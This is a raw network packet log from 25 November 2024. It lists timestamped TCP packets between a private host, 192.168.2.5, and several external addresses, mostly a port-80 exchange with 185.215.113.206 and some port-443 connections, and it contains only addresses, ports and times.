Nov 25, 2024 14:14:43.046808958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.046871901 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.047609091 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.047738075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.047761917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.047894001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.047986984 CET	443	49837	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:43.048413038 CET	49837	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:43.048433065 CET	443	49837	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:43.048636913 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.048686981 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.048780918 CET	443	49837	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:43.049160957 CET	49837	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:43.049226046 CET	443	49837	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:43.077207088 CET	443	49826	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:43.077389002 CET	443	49826	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:43.078166962 CET	49826	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:43.078166962 CET	49826	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:43.078279018 CET	49826	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:43.078284979 CET	443	49826	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:43.090090036 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:43.090152025 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:43.090399981 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:43.090842962 CET	49844	443	192.168.2.5	13.107.246.63
Nov 25, 2024 14:14:43.090862036 CET	443	49844	13.107.246.63	192.168.2.5
Nov 25, 2024 14:14:43.091298103 CET	49837	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:43.092694044 CET	443	49836	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:43.093039036 CET	49836	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:43.093046904 CET	443	49836	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:43.093524933 CET	443	49836	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:43.094003916 CET	49836	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:43.094108105 CET	443	49836	23.200.88.17	192.168.2.5
Nov 25, 2024 14:14:43.114953995 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.115267992 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.115370989 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.115420103 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.115431070 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.115536928 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.117182016 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.117420912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.117460966 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.117861032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.117985010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.118016005 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.118081093 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.118659973 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.118794918 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.118868113 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.119570971 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.119796991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.119828939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.119920015 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.120306969 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.120410919 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.120421886 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.120533943 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.121052980 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.121167898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.121196985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.121295929 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.121936083 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.122045994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.122374058 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.122946978 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.123070002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.123099089 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.123914957 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.124034882 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.124926090 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.124938965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.125046015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.125078917 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.125188112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.125988007 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.126080990 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.126140118 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.126280069 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.127326012 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.127382994 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.127625942 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.128074884 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.128160954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.128285885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.128635883 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.128981113 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.129070997 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.129086018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.129215002 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.129693031 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.129795074 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.129827023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.129875898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.139245987 CET	49836	443	192.168.2.5	23.200.88.17
Nov 25, 2024 14:14:43.182106018 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.182307005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.182337046 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.182627916 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.182710886 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.182832956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.182863951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.183007956 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.183567047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.183669090 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.183793068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.183931112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.184583902 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.184782028 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.184947968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.185195923 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.185493946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.185615063 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.185642004 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.185828924 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.186564922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.186674118 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.186795950 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.187086105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.187432051 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.187532902 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.187547922 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.187644958 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.188580990 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.188651085 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.188884974 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.189016104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.189461946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.189563036 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.189591885 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.189699888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.190325022 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.190494061 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.190619946 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.190696001 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.191355944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.191484928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.191519022 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.191605091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.192303896 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.192373037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.192687988 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.192924976 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.193268061 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.193358898 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.193617105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.193748951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.194231987 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.194381952 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.195095062 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.195300102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.195394039 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.195453882 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.195482969 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.195633888 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.195722103 CET	443	49831	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.195981979 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.195995092 CET	443	49831	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.196146965 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.196249962 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.196311951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.196430922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.197124958 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.197191954 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.197218895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.197374105 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.197455883 CET	443	49831	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.197521925 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.198013067 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.198013067 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.198096991 CET	443	49831	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.198105097 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.198225975 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.198304892 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.198630095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.199062109 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.199135065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.199196100 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.199327946 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.200036049 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.200159073 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.200444937 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.201018095 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.201358080 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.201581955 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.202102900 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.202212095 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.202444077 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.202761889 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.203022003 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.203149080 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.203222036 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.203288078 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.204036951 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.204165936 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.204189062 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.204319954 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.204883099 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.205102921 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.205142975 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.205267906 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.205920935 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.206078053 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.206104040 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.206276894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.206845045 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.206999063 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.207065105 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.207284927 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.207787037 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.207875013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.208141088 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.208415985 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.208790064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.208858013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.208900928 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.209002972 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.210021019 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.210077047 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.210165977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.210341930 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.211146116 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.211253881 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.211380005 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.211544037 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.211945057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.211966991 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.212018013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.212018013 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.212707996 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.212969065 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.213248968 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.213373899 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.213588953 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.213648081 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.246505976 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.246566057 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.246583939 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.246656895 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.247149944 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.247358084 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.247392893 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.247401953 CET	443	49831	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.247428894 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.248008013 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.248058081 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.248334885 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.248832941 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.248852015 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.248928070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.248928070 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.264676094 CET	443	49828	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.264950991 CET	49828	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.264966011 CET	443	49828	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.266161919 CET	443	49828	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.266657114 CET	49828	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.266657114 CET	49828	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.266908884 CET	443	49828	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.276752949 CET	443	49832	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.276977062 CET	49832	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.276988983 CET	443	49832	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.278043985 CET	443	49832	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.278146029 CET	49832	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.279025078 CET	49832	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.279083967 CET	443	49832	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.279376030 CET	49832	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.279383898 CET	443	49832	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.293421030 CET	49831	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.309154987 CET	49828	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.315944910 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.316178083 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.316181898 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.316344023 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.316421032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.316494942 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.316524982 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.316584110 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.317307949 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.317387104 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.317462921 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.317641020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.318312883 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.318368912 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.318396091 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.318538904 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.319200993 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.319241047 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.319482088 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.320069075 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.320154905 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.320204020 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.320204973 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.321069002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.321188927 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.321191072 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.321326017 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.322269917 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.322355032 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.322438002 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.322506905 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.324743032 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.324878931 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.325015068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.325993061 CET	49832	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.326080084 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.327054977 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.327245951 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.327553034 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.327716112 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.328428030 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.328531027 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.328649044 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.328727961 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.329072952 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.329159021 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.329183102 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.329360962 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.329366922 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.329632044 CET	49829	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.329643965 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.329755068 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.329799891 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.329823971 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.329937935 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.330010891 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.330223083 CET	49830	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.330233097 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.330590010 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.330630064 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.330681086 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.330771923 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.330926895 CET	49829	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.331181049 CET	443	49833	20.190.177.147	192.168.2.5
Nov 25, 2024 14:14:43.331213951 CET	49829	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.331280947 CET	443	49829	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.331290960 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.331306934 CET	443	49830	13.107.246.40	192.168.2.5
Nov 25, 2024 14:14:43.331334114 CET	80	49760	185.215.113.206	192.168.2.5
Nov 25, 2024 14:14:43.331377983 CET	49830	443	192.168.2.5	13.107.246.40
Nov 25, 2024 14:14:43.331377983 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.331475019 CET	49760	80	192.168.2.5	185.215.113.206
Nov 25, 2024 14:14:43.331734896 CET	49830	443	192.168.2.5	13.107.246.40
